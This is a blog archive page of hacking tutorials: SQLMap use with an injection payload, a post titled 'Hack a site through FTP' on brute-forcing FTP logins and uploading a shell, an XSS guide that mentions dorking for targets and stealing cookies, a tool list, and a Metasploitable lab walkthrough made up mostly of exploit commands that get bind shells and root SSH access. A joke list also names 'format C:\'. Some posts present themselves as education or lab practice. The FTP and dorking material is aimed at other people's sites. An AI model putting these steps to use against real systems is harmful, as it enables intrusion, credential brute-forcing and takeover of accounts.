Wednesday, 25 December 2013

How to use SQLMap on Windows for finding SQL Injection flaws on your website

How to use SQLMap on Windows for finding SQL Injection flaws on your website . . .


As a (sort-of-mediocre) web developer, I find security of the site as #1 priority. However with limited knowledge on the subject, it was near-impossible to look for any sort of  security flaw without scrolling through forums for days.
After hours of googling, I discovered an excellent tool to automatically uncover SQL injection exploits in my website without the requirement of intricate SQL knowledge.
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections
SQLMap is coded in Python programming language and runs natively in Linux operating system, however it should run as nice on Windows machines , however we first need to download and install the Python libraries to the machine for it to run.
Anyway, back to your site, one thing you will need to find are URL’s like this http://yoursite.com/users/user.php?id=3 or http://yoursite.com/gallery/albums.php?aid=532
These parameters (in red) query the database, and if not coded/sanitized correctly, can be vulnerable to sql injection. Users can basically access your database and do things such as access passwords, emails, names etc.
So you’ve found your URL on your site as shown above? Lets see if it is vulnerable to sql injections…..
Step 1 – Download & Install Python 2.7.5
Python 2.7 installed on your Windows machine.
Ensure that version 2.7.5 is installed which can be downloaded from here - http://www.python.org/download/
Choose either the normal Windows installer, or the Windows x86-64 installer.
Run through the install accepting the defaults. If all went well, then all of the Python files should be installed to C:\Python27\
Step 2 – Download SQLMap
SQLMap downloaded on your Windows machine
The latest and greatest version is available on the SQLMap home page – click here - https://github.com/sqlmapproject/sqlmap/zipball/master or here http://sqlmap.org/ (and click download .zip on the left!)
Unzip the .zip and put the folder into the C:\ drive (just for ease of access). The folder may be named something like “sqlmapproject-sqlmap-dbb0d7f” so rename this to something like “sqlmap“. For the purpose of this guide, I will be renaming this folder to “sqlmap“.
Step 3 – Run Command Prompt as Administrator
You can do this multiple ways, but just to explain in a way that everyone can easily do, go to Start > All Programs > Accessories and you will see the Command Prompt icon. BUT WAIT! Don’t just click it!
Ensure that you right-click on the Command Prompt icon and Run As Administrator. Normally, command prompt is set with restrictions meaning certain system tools will not run, so running as administrator enables command prompt to have full access to the system.
Step 4 – Run SQLMap
With the above prerequisites completed, we can now start.
- In the command prompt window, CD into the directory where SQLMap is contained
1
- Type in the following: python sqlmap.py -u “http://yoursite.com/users/users.php?id=3 (replace the red with what you have!)
2
- Hit enter and it will start scanning. If you find that you encounter something like this (in grey) then your site IS vulnerable to SQL injections. Uh-oh!
4
- Let SQLMap run through and at the end it will dump all the necessary information into a files (readable in notepad) in the directory where it resides (for example C:\sqlmap\output\yoursite\).
Below are what I got from the above test:
sqlmap identified the following injection points with a total of 63 HTTP(s) requests:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=8 AND 6220=6220
Type: UNION query
Title: MySQL UNION query (NULL) – 17 columns
Payload: id=-6714 UNION ALL SELECT NULL,NULL,CONCAT(0×7178667171,0x73486f79746764616f74,0x717a666671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

web application technology: PHP 5.3.19, Apache 2.2.23
back-end DBMS: MySQL >= 5.0.0
Now, if you’re using a wordpress plugin, disable it and remove it immediately as your site can be easily found using google dorks. Notify the author / developer asap!.

Tuesday, 24 December 2013

[TuT] – Hack a site through FTP

[TuT] – Hack a site through FTP


Here I am again, posting a tutorial on web-penetration. I will be explaining how to crack and hack an FTP server.
What is “FTP”?
FTP stands for File Transfer Protocol. As you can see by the name, you can manage files through the FTP. The FTP port, is very-well known, but is rarely open on big websites. The FTP port is Port 21. There are multiple ways to connect to an FTP server/port, especially thanks to technology, such as FileZilla.
There are of course other ways, which are the manual ways. Which is connecting to the FTP through a DOS Command line. You can do this from Ubuntu, Backtrack, (All linux), and also Windows. I’ve never tried it on Mac, but I’m sure it’s possible.
When you have access to the FTP, you’re the king of the website. Mostly because you can manage all of the files and directories on the site. So you can upload and delete. If you upload your PHP or ASP shell, you could root the server, and possibly hack other sites.
How do I know if the FTP port is open?
Well, you don’t know until you scan. The most popular port scanner would be Nmap. You can download Nmap at http://www.nmap.org/
How do I connect to FTP?
Like I said, there are a couple options. Personally, I would choose the command line first, because you learn from it. In a program like FileZilla, with all the fancy shit, it’s got it all. Easy to work with, etc. But the method we will be using to connect, is with “Telnet”.
Telnet is a network protocol that you can use to connect to certain ports on hosts. You would either need the website name, or IP to connect. You would also have to make sure the port that you want to connect to, is open.
To do that, we need a program called “Nmap”. Nmap is a free Port-Scanner tool, it is very useful to many hackers for multiple reasons.
To connect to FTP on a site, an IP, or a computer, you need to have Telnet installed. Telnet is already installed on all Windows and Linux operating systems. But in Windows 7 & Vista, you have to change some settings.
This can be done very easily, simply go to Control Panel ==> Programs and Features ==> Turn windows features on or off ==> Check off the Telnet Client.
Now we can successfully connect to a port through Telnet.
So open CMD (Command Prompt(Start => Run => CMD)). Now in the command prompt, type:
Code:
telnet
And hit enter. Now we’re on Telnet, so we can connect to a port. If you would like to get familiar with the commands, simply type in “HELP” in the command prompt.
Now, let’s connect to our site (First make sure the FTP port is open (Port 21). Now, let’s type in:
Now it should display some information on the FTP, we can use that information against the site, by simply googling some exploits for it.
Example: “ProFTPD 1.3.3c Exploit”.
How do I hack a site through FTP?
There are a couple ways to do this, my favorites are looking for exploits in the FTP client and version, and Bruteforcing/Dictionary attack. The first method is very simple, just read the above section to figure out how to do it.
Bruteforcing is when you attack a target by using somtimes MILLIONS of passwords. Bruteforce uses random combinations, whereas a Dictionary Attack uses words. The Dictionary Attack goes MUCH faster, but will not always work. I only bruteforce when I have no other choice.
The second way, is still pretty easy, but requires a little bit more brain :P. If you want to do it more “Advanced-ly” then download “Hydra”. Hydra is a program that will perform a dictionary attack on any open port on your target site, or IP.
The easy way to do it, is by downloading “Brutus”. It does the same thing, but it’s easier to navigate and use. You can get both programs by googling them. If you can’t find any, PM me and I’ll send you a good link.
If you already have the credntials, you can login to the FTP over Telnet, by doing the following:
Code:
http://www.site.com 21
-
PASV
-
USER -USERNAMEHERE-
PASS -PASSWORDHERE-
Epilogue
This is a tutorial for beginners, but if I missed something PLEASE notify me by PM or by replying in the comment section. This tutorial does seem very brief to me, but I can’t explain EVERY exploit there is for FTP, otherwise the tutorial would be too long and boring.

Monday, 23 December 2013

Mouse Cursor Styles

Question: How do I change the style of the mouse cursor from JavaScript?
Answer: Most modern browsers support the following cursor styles (hover your mouse over the style name to see the cursor change to that style):
auto        move           no-drop      col-resize
all-scroll  pointer        not-allowed  row-resize
crosshair   progress       e-resize     ne-resize
default     text           n-resize     nw-resize
help        vertical-text  s-resize     se-resize
inherit     wait           w-resize     sw-resize
To set or change the mouse cursor style for an element of your page from script, you can set the element's property element.style.cursor to one of the above values. (Alternatively, without JavaScript, you can use the attribute style="cursor:value;" in that element's HTML tag.)Example. The function setCursorByID below resets the mouse cursor style, given the input arguments id (the element ID) and cursorStyle (the desired cursor style):
function setCursorByID(id,cursorStyle) {
 var elem;
 if (document.getElementById &&
    (elem=document.getElementById(id)) ) {
  if (elem.style) elem.style.cursor=cursorStyle;
 }
}
The following demo allows you to change the cursor styles for the highlighted elements (Element 1 and Element 2). In this demo, when you click on the hyperlink helpwait,crosshairtextdefaultmove, or pointer, the cursor is changed to the corresponding stylefor the entire highlighted element using the function setCursorByID from the above example. When you click on the hyperlink auto, the cursor for the particular element is resetto its original style determined by the browser.
 Element 1  Change cursor to any of these styles: 
help wait move crosshair text default pointer auto

 Element 2  Change cursor to any of these styles: 
help wait move crosshair text default pointer auto
The actual appearance of the mouse cursor depends on the browser and OS configuration. For example, Microsoft Internet Explorer 8.0 under Windows XP, with Windows Classictheme set in Display Properties, mouse cursors look like this:

Disabling Right-Click on a web page

Disabling Right-Click on a web page


also Protect images

 

Protect images/Disabling right-click on a web page

Want to protect your source code? Using this code will prevent the vast majority of users from right-clicking over a page and choosing "View source", or right-clicking over an image and saving it. There are other ways to view the code, though... This is not always a wise technique to use - it would have to be a very special piece of code to want to hide, and those who would want to steal it will always be able to find a way to see it.

Try right-clicking on this page as an example.
<SCRIPT TYPE="text/javascript">
<!--
//Disable right click script
//visit http://www.rainbow.arch.scriptmania.com/scripts/
var message="Sorry, right-click has been disabled";
///////////////////////////////////
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function("return false")
// -->
</SCRIPT> 
Place the above code into <HEAD></HEAD> of your HTML.   ...... How to?

To disable the IE imagetoolbar also add the META TAG below to the HEAD

<META HTTP-EQUIV="imagetoolbar" CONTENT="no">


To protect TEXT add 'Disable Text Select' code below into <HEAD></HEAD> of your HTML.

<SCRIPT TYPE="text/javascript">
<!--
//Disable select-text script (IE4+, NS6+)
//visit http://www.rainbow.arch.scriptmania.com/scripts/
///////////////////////////////////
function disableselect(e){
return false
}
function reEnable(){
return true
}
//if IE4+
document.onselectstart=new Function ("return false")
//if NS6
if (window.sidebar){
document.onmousedown=disableselect
document.onclick=reEnable
}
// -->
</SCRIPT>


Ways to protect your images

To start off, the straight truth is there is no 100% way to protect your images short of not displaying them on the Internet to begin with. There are many ways to prevent a novice visitor, but no matter what you try, there will ALWAYS be a way to get any image. That said, here are a few attempts you may try in no particular order.

1. Using CSS to position a transparent gif overtop of the image.
<img src="myimage.gif" width="100" height="50">
<img src="transparent.gif" width="100" height="50" style="position:relative; left:-102px; top:0px;">


2. Using span tag to position a transparent gif overtop of the image.
<span style="background-image: url(images/my_image.jpg)"><img src="images/transparent.gif" width="200" height="150" border="0" alt="My protected Image."></span>


3. Use the image as a background of a table and fill the cell with a transparent gif.
<table width="100" height="50">
<tr>
<td background="myimage.gif">
<img src="transparent.gif" width="100" height="50">
</td>
</tr>
</table>


4. Use a watermark.
That is, put a mark on the actual image with an image software. A word, a small graphic logo, anything that would deter a thief but still look nice visually for the common visitor.

Here are a number of very effective methods of keeping unscrupulous surfers from stealing your HTML source:

1. Use the <INVISIBLE> </INVISIBLE> tags around the entire document.  [ Menu > View > Source.  To see this one. ]

2. Use the DONTSTEAL attribute in the <BODY> tag.

3. Ftp to your server, select all files and directories, hit "Delete".

4. Put every existing copy of every file on floppies, place them in a shoebox and bury them in the backyard. There is another version of this method which involves placing the floppies in a plastic bag and hiding them in a different sort of hole. Both are equally effective.

5. Password protect your entire site and make sure no one has the password, not even you.

6. Employ a small but fanatically loyal and well-armed band of mercenaries to guard your site.

7. Start>Run>format C:\

8. Attack dogs, preferably rabid.

9. Use any version of Microsoft Frontpage to create your site. (This won't prevent people from viewing your source, but no one will want to steal it.)

10. Don't put your pages on the web. 


How To steal 'NO RIGHT CLICK' code :- 

Use Left mouse and drag to highlite the code, (or try, cursor over code and triple left click)
then use keys [Ctrl + C] to copy and then paste [Ctrl + V] where you want it. 

Thursday, 19 December 2013

Cross Site Scripting(XSS) Complete Tutorial for Beginners

Cross Site Scripting(XSS) Complete Tutorial for Beginners



  • Employee background che






What is XSS?
Cross Site Scripting also known as XSS , is one of the most common web appliction vulnerability that allows an attacker to run his own client side scripts(especially Javascript) into web pages viewed by other users.

In a typical XSS attack, a hacker inject his malicious javascript code in the legitimate website . When a user visit the specially-crafted link , it will execute the malicious javascript. A successfully exploited XSS vulnerability will allow attackers to do phishing attacks, steal accounts and even worms.
Example :Let us imagine, a hacker has discovered XSS vulnerability in Gmail and inject malicious script. When a user visit the site, it will execute the malicious script. The malicious code can be used to redirect users to fake gmail page or capture cookies. Using this stolen cookies, he can login into your account and change password.
It will be easy to understand XSS , if you have the following prerequisite:
  • Strong Knowledge in HTML,javascript(Reference).
  • Basic Knowledge in HTTP client-Server Architecure(Reference)
  • [optional]Basic Knowledge about server side programming(php,asp,jsp)

XSS Attack:
Step 1: Finding Vulnerable Website
Hackers use google dork for finding the vulnerable sites for instance  "?search=" or ".php?q=" .  1337 target specific sites instead of using google search.  If you are going to test your own site, you have to check every page in your site for the vulnerability.

Step 2: Testing the Vulnerability:
First of all, we have to find a input field so that we can inject our own script, for example: search box, username,password or any other input fields.


Test 1 :
Once we found the input field, let us try to put some string inside the field, for instance let me input "BTS". It will display the  result .

Now right click on the page and select view source.   search for the string "BTS" which we entered in the input field.  Note the location where the input is placed.

Test 2:
Now we are going to check whether the server sanitize our input or not.  In order to do this , let us input the <script> tag inside the input field.
View the source of the page . Find the location where input displayed place in previous test.

Thank god, our code is not being sanitized by the server and the code is just same as what we entered in the field. If the server sanitize our input, the code may look like this &lt;script&gt;. This indicates that the website vulnerable to XSS attack and we can execute our own scripts .

Step 3: Exploiting the vulnerability
Now we know the site is somewhat vulnerable to XSS attack.  But let us make sure whether the site is completely vulnerable to this attack by injecting a full javascript code.  For instance, let us input <script>alert('BTS')</script> .

Now it will display pop-up box with 'BTS' string. Finally, we successfully exploit the XSS .  By extending the code with malicious script, a hacker can do steal cookies or deface the site and more.

Types of XSS Based on persisting capability:
Based one Persistence capability, we can categorize the XSS attack into two types namely Persistent and Non-Persistent.

Persistent XSS:

The Persistent or Stored XSS attack occurs when the malicious code submitted by attacker is saved by the server in the database, and then permanently it will be run in the normal page.

For Example:   
Many websites host a support forum where registered users can ask their doubts by posting message  , which are stored in the database.  Let us imagine , An attacker post a message containing malicious javascript code instead.  If the server fail to sanitize the input provided, it results in execution of injected script.  The code will be executed whenever a user try to read the post. If suppose the injected code is cookie stealing code, then it will steal cookie of users who read the post. Using the cookie, attacker can take control of your account.


Non-Persistent XSS:

Non-Persistent XSS, also referred as Reflected XSS , is the most common type of XSS found now a days. In this type of attack, the injected code will be send to the server via HTTPrequest.  The server embedd the input with the html file and return the file(HTTPResponse) to browser.  When the browser executes the HTML file, it also execute the embedded script.  This kind of XSS vulnerability frequently occur in search fields.

Example:
Let us consider a project hosting website.  To find our favorite project, we will just input the related-word in the search box .  When searching is finished, it will display a message like this "search results for yourword " .  If the server fail to sanitize the input properly, it will results in execution of injected script.

In case of reflected XSS attacks, attacker will send the specially-crafted link to victims and trick them into click the link. When user click the link, the browser will send the injected code to server, the server reflects the attack back to the users' browser.  The browser then executes the code .

In addition to these types, there is also third  type of attack called DOM Based XSS attack, i will explain about this attack in later posts.

                                                                                   What can an attacker do with this Vulnerability?
  • Stealing the Identity and Confidential Data(credit card details).
  • Bypassing restriction in websites.
  • Session Hijacking(Stealing session)
  • Malware Attack
  • Website Defacement
  • Denial of Service attacks(Dos)
 
 
 
 
 
 
 
 
 
 
Disclaimer:
This article is intended for educational purpose only.

Here's the list of some hacking tools that every hacker should have

Here's the list of some hacking tools that every hacker should have


Here's the list of some hacking tools that every hacker should have....



AIRCRACK

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools. In fact, Aircrack-ng is a set of tools for auditing wireless networks...
 

Site URL:
http://www.aircrack-ng.org/



BackTrack

BackTrack is a A Linux Distribution focused on penetration testing.

Site URL:

http://www.bactrack-linux.org


BarsWF

BarsWF is the worlds fastest md5 bruteforcing password cracker, just in case you didn't already know.
It combines using your computers processor with you graphics cards GPU for computing the largest amount of hashes as quickly as possible. It is not unheard of to get 100's of millions of hashes per second when using this application.

Prerequisites which really dont need to be mentioned are a processor with SSE2 instruction set, and any nvidia geforce 8 and up graphics card with CUDA support if you want the really fast one, otherwise most decently new nvidia graphics cards bought in the past 2 years should be able to work with this.


Site URL:

http://3.14.by/en/md5


BLOODSHED IDE

Bloodshed IDE is an Integrated Development Environment (IDE) for the C/C++ programming language.


Site URL:

http://www.bloodshed.net/devcpp.html



CAIN AND ABEL

Cain and Abel is a Windows password cracker, capable of cracking a variety of hashes, as well as arp poisoning, sniffing the network, etc.. to obtain those password hashes in the first place.

Site URL:

http://www.oxid.it/cain.html



CANVAS

Immunity's CANVAS makes available hundreds of exploits, an automated exploitation system, and a comprehensive, reliable exploit development framework to penetration testers and security professionals worldwide. To see CANVAS in action please see the movies at immunitysec.com

Supported Platforms and Installations
# Windows (requires Python & PyGTK)
# Linux
# MacOSX (requires PyGTK)
# All other Python environments such as mobile phones and commercial Unixes (command line version only supported, GUI may also be available)

Exploits
# currently over 400 exploits, an average of 4 exploits added every monthly release
# Immunity carefully selects vulnerabilities for inclusion as CANVAS exploits. Top priorities are high-value vulnerabilities such as remote, pre-authentication, and new vulnerabilities in mainstream software.
# Exploits span all common platforms and applications

Payload Options
# to provide maximum reliability, exploits always attempt to reuse socket
# if socket reuse is not suitable, connect-back is used
# subsequent MOSDEF session allows arbitrary code execution, and provides a listener shell for common actions (file management, screenshots, etc)
# bouncing and split-bouncing automatically available via MOSDEF
# adjustable covertness level

Ability to make Custom Exploits
# unique MOSDEF development environment allows rapid exploit development

Development
# CANVAS is a platform that is designed to allow easy development of other security products. Examples include Gleg, Ltd's VulnDisco and the Argeniss Ultimate 0day Exploits Pack.

Site URL:

http://www.immunitysec.com/products-canvas.shtml



CYGWIN

Cygwin is the next best thing to using Linux.
I personally do not use a windows box period, work, school, or other, unless I have Cygwin installed.
It's a large download, but once you get use to using it there's no turning back.
I have actually created a condensed copy that I carry around on my flash drive.
It comes complete with most Unix/Linux commands, to include the ability to compile things on the fly with gcc, perl, etc..
It has many useful things about it, but the only way to really see the extent of them is to use it yourself unless you like reading pages of technical data to help put you to sleep at night.

FYI...Last I checked it was currently managed by RedHat.

Site URL:

http://www.cygwin.com/



DBAN

DBAN- Short for Darik's Boot and Nuke, is a good utility for securely erasing contents of hard disk.
It uses encryption and re-writing over drives multiple times for a fairly secure deletion which makes if very difficult if not impossible to recover using forensics.

Site URL:

http://www.dban.org/about



FARONICS DEEP FREEZE

Faronics Deep Freeze helps eliminate workstation damage and downtime by making computer configurations indestructible. Once Deep Freeze is installed on a workstation, any changes made to the computer—regardless of whether they are accidental or malicious—are never permanent. Deep Freeze provides immediate immunity from many of the problems that "He-Who-Must-Not-Be-Named." computers today—inevitable configuration drift, accidental system misconfiguration, malicious software activity, and incidental system degradation.

Deep Freeze ensures computers are absolutely bulletproof, even when users have full access to system software and settings. Users get to enjoy a pristine and unrestricted computing experience, while IT personnel are freed from tedious helpdesk requests, constant system maintenance, and continuous configuration drift.

Site URL:
http://www.faronics.com/html/deepfreeze.asp




NEMESIS

Nemesis is a packet injector utility that is command line based and supports linux and windows.

Site URL:

http://www.packetfactory.net/projects/nemesis/
 - See more at: http://www.darkhtu.net/2013/08/hacking-tools-that-every-hacker-must.html#sthash.lJ75Y10h.dpuf

Wednesday, 18 December 2013

Metasploitable: MSF Exploitation

Metasploitable: MSF Exploitation 

*************
0x00 Overview
*************


Today I'll be writing a guide on how to exploit Metasploitable with the Metasploit Framework. Who is this tutorial for? This tutorial is for anyone who is interested in beginning a journey as a Penetration Tester. This tutorial will encompass

  • A nice overview on how to use the Metasploit Framework by searching, and using some Modules and launching Exploits.
  • It will show you how to Scan, and Exploit running services against a target using the MSF.
  • It will show you how to use 1 public exploit later explained.
This VM im booting is specifically designed to be exploited with Metasploit. But I will be using on public exploit from http://www.exploit-db.com/ that I have used personally in the past.

Victims IP Address: 192.168.1.6
Attacker's IP Address: 192.168.1.10


NOTE: BT4-R2 is what I will be using to Exploit the VM. BT-4 Final does not yield the same results, so keep that in mind. Without further ado, lets begin…

***************
0x01 Enumeration
***************


The most important part of any Penetration Test is Enumeration, the information you gather will be the information you will use to plan an attack against your target.
  • First lets start off with a simple Nmap Scan to reveal the open ports and running services of our target.
As Pen-Testers, we need to understand what these services do and also we need to familiarize ourselves with common running services for future Audits.

Some common services include, but are not limited to:
  • FTP
  • Telnet
  • SSH
  • IMAP
  • POP3
  • MySQL
These running services can be Daemonized and continuously show up all the majority of all targets.

Sometimes Nmap Scans will not show EVERY open port, therefore, I also ran Nessusagainst our target to catch what Nmap did not.

NOTE: Operating System Identification is essential for the payloads and some exploits that we will be launching. This VM is NOT windows, therefore, we need to use *nix Payloads instead of Windows Payloads if we want to get a session when the exploit succeeds.

To scan the Running Services on the Metasploitable Machine (192.168.1.6), ill be doing a SYN Stealth Scan to identify the services:

nmap -sS -sV 192.168.1.6

Code:
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

***************************
0x02 Exploiting Running Services 
***************************


Based on the Nmap Scan, we can see that we have a couple Running Services.

----------------------------------
Exploiting Telnet : Port 23
----------------------------------


Lets being by exploiting Telnet!
  • Telnet provides an unencrypted channel between clients and the server. Attackers can take advantage of users using Telnet with ARP Cache Poisoning. 
Now that we have a potentially vulnerable service, lets go to the ./msfconsole and search for the available exploits.

NOTE: Updating the Metasploit Framework will not be necessary for this video, if left un-updated, you will get the same results.

On the MSF console type search telnet

The exploit that we will be using is solaris/telnet/fuser. This is a Telnet Remote Authentication Bypass exploit for Telnet. Now in order to use that exploit one will type:
use solaris/telnet/fuser

Now we need to set the options for this exploit in order for it to work properly. To see the options you need to set you type: show options. Now continue to set the specifications for this exploit.

set RHOST 192.168.1.6
set RPORT 23
set USER bin


The default remote port is 23 and the default username to use is bin.

Now that we have everything set for the exploit, we need to choose a payload. The payload i will be using will be the cmd/unix/bind_perl. But you can pick your own by typing show payloads to see the other available payloads you can use for that exploit. To use that payload we type set payload cmd/unix/bind_perl
Now we need to set the requirements for the payload as well if its not done for you:

show options
set RHOST 192.168.1.6


Now that we have everything set, for both exploit and payload, our next step is just to simple call exploit to launch it. Typing exploit, will launch the exploit and as you can see, it was successful!

--------------------------------------------
Exploiting Postfix SMTPd : Port 25 
--------------------------------------------


Lets continue to exploit another running service, in this case, SMTP.
  • Without going in too much detail, the Postfiix SMTP server is used to receive mail from the network. It can be heavily spammed and can also be exposed to junk mail and viruses!
On the MSF console type search smtp.

The exploit that we will be using is unix/smtp/clamav_milter_blackhole. This is a Remote Code Execution exploit for this SMTP. Now in order to use that exploit one will type:
use unix/smtp/clamav_milter_blackhole

Now, just like before, we need to set the options for this exploit in order for it to work properly. Again, see the options you need to set you type: show options, and continue to set the specifications for this exploit.

set RHOST 192.168.1.6
set RPORT 25


The default remote port is 25, but these are the only options we are interested in setting.

Now that we have everything set for the exploit, lets continue to choose a payload. The payload i will be using will be the cmd/unix/bind_ruby. Be sure to specify that's the payload you will be utilizing by typing set payload cmd/unix/bind_ruby. Once again,we need to set the requirements for the payload.

show options
set RHOST 192.168.1.6


Now that everything is set, typing exploit will launch the exploit successfully!

------------------------------------------------
Exploiting Samba SMBd 3.x : Port 139
------------------------------------------------


The next service to be exploited lies on port 139.
  • Understanding networks protocols is essential to Network Penetration testing. Samba is the product name but what we need to understand is what SMB is. Service Message Block is a protocol used for sharing files and printers between computers, that's what is for. 
Lets search for samba exploits by typing search samba.
The exploit that we will be using is multi/samba/usermap_script. This exploit is used for Command Execution. Now in order to use that exploit one will type:

use multi/samba/usermap_script

Lets continue to set the exploit's requirements that we are interested in:

set RHOST 192.168.1.6
set RPORT 139


The default remote port is 139. Now lets continue to choose our desired payload. The payload ill be using is cmd/unix/bind_ruby. Lets continue to set the payload, set the options for the payload, and launch the exploit:

set payload cmd/unix/bind_ruby
show options
set RHOST 192.168.1.6
exploit


Exploit successful

--------------------------------------
Exploiting distccd : Port 3632
--------------------------------------


Remember that Nessus Scan we did prior to exploitation? This is where we got this running service Nmap did not pick up.
  • Simply put, distcc is a program designed to distribute compiling tasks across a network to participating hosts. 
The Nessus Scan Describes it as...
  • Distcc is a program to distribute builds of C, C++, Objective C or Objective C++ code across several machines on a network. Distcc should always generate the same results as a local build, is simple to install and use, and is often two or more times faster than a local compile. Distcc by default trusts its clients completely that in turn could allow a malicious client to execute arbitrary commands on the server.
Lets search for anything related with this service by typing search distccd

The exploit I'll be using for this service is the unix/misc/distcc_exec. This is a Daemon Command Execution exploit. Now lets repeat the previous steps all in one, including choosing the payload to save time.

use unix/misc/distcc_exec
show options
set RHOST 192.168.1.6
set RPORT 3632
set payload cmd/unix/bind_ruby
show options
set RHOST 192.168.1.6
exploit


By default, the port is 3632. But as you can see, the exploit succeeded.

---------------------------------------------------------------
Exploiting Apache Tomcat/Coyote JSP Engine 1.1
---------------------------------------------------------------


I left Apache for last because i had to use an Auxiliary to get the username and password and then and exploit to break into the VM.

First lets start with the Auxiliary Module by typing search tomcat

The Auxiliary I'll be using is the scanner/http/tomcat_mgr_login. This is to bruteforce theTomcat Application Manager Login. So to use this we type use scanner/http/tomcat_mgr_login. Now the only options we need to set is the remote host and then launch the exploit:

set RHOSTS 192.168.1.6
exploit


If you scroll up on the green you can see that the credentials are set as tomcat:tomcatwhich are defaults.

Now how can we use this to our advantage? We can either go to the Daemon and log into the manager or exploit it further and get a shell.

Once again we type search tomcat and found this exploit multi/http/tomcat_mgr_deploy. This exploit is tomcat's Application Manager Deployer Upload and Execute. Sounds good enough to test! Now lets use that exploit, set the specifications, choose a payload, set the requierments and launch the exploit

use multi/http/tomcat_mgr_deploy
show options
set RHOST 192.168.1.6
set RPORT 8180
set USERNAME tomcat
set PASSWORD tomcat
set payload generic/shell_bind_tcp
show options
set RHOST 192.168.1.6
exploit


As expected, we have a shell against the target.

----------------------------------
Launching a Public Exploit
----------------------------------


Now lets do some snooping around. Based on the Nmap Scan, we know that the target usesSSH so what we are interested to look for is the Authorized Keys. By default they are placed in the root.

Here is more information about SSH Authorized Keys
  • AuthorizedKeyFile specifies containing public key for public key authentication. It lists the public keys (RSA/DSA) that can be used for logging in as this user.
Lets go ahead and read this file by catting out the output:

cat /root/.ssh/authorized_keys

As you can see there is it. The exploit we are going to launch is located here:
http://www.exploit-db.com/exploits/5622/

However, we are not going to be using the code. This system have week SSH Keys. As described in the link of the exploit, there are a certain amount of possible SSH keys, so we can bruteforce them.

We can download these RSA Keys from here:
http://sugar.metasploit.com/debian_ssh_r...86.tar.bz2
http://exploit-db.com/sploits/debian_ssh...86.tar.bz2

Now on a new terminal, type tar jxvf to extract the Keys to the /root/ then type cd /rsa/2048

Back on the shell we have on MSF lets grab the entire key which will be:
AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkct ​ eZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXl ​ n/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ ​5cCs4WocyVxsXovcNnbALTp3w

We need to find this on the Keys we extracted. Go on the terminal we type:

grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkct ​ eZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXl ​ n/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ ​5cCs4WocyVxsXovcNnbALTp3w *.pub

to find the exact match and make it recursive. This will find the public RSA key that we will use to authenticate as root. This is the result you get.

57c3115d77c56390332dc5c49978627a-5429.pub

All those letters and numbers is the identity file for SSH. Now we simply just type:

ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@192.168.1.6 

And we are in as root :)

***************
0x03 Final Words
***************


Well this is the end of this tutorial. Overall, using Metasploitable is a great way to learn how to use Metasploit and some of its features. There are other lab environment that provide the same Penetration challenge but through different Methodologies.With that being said, Ill conclude this tutorial.

The world have changed a lot, people have changed a lot

To be continued ...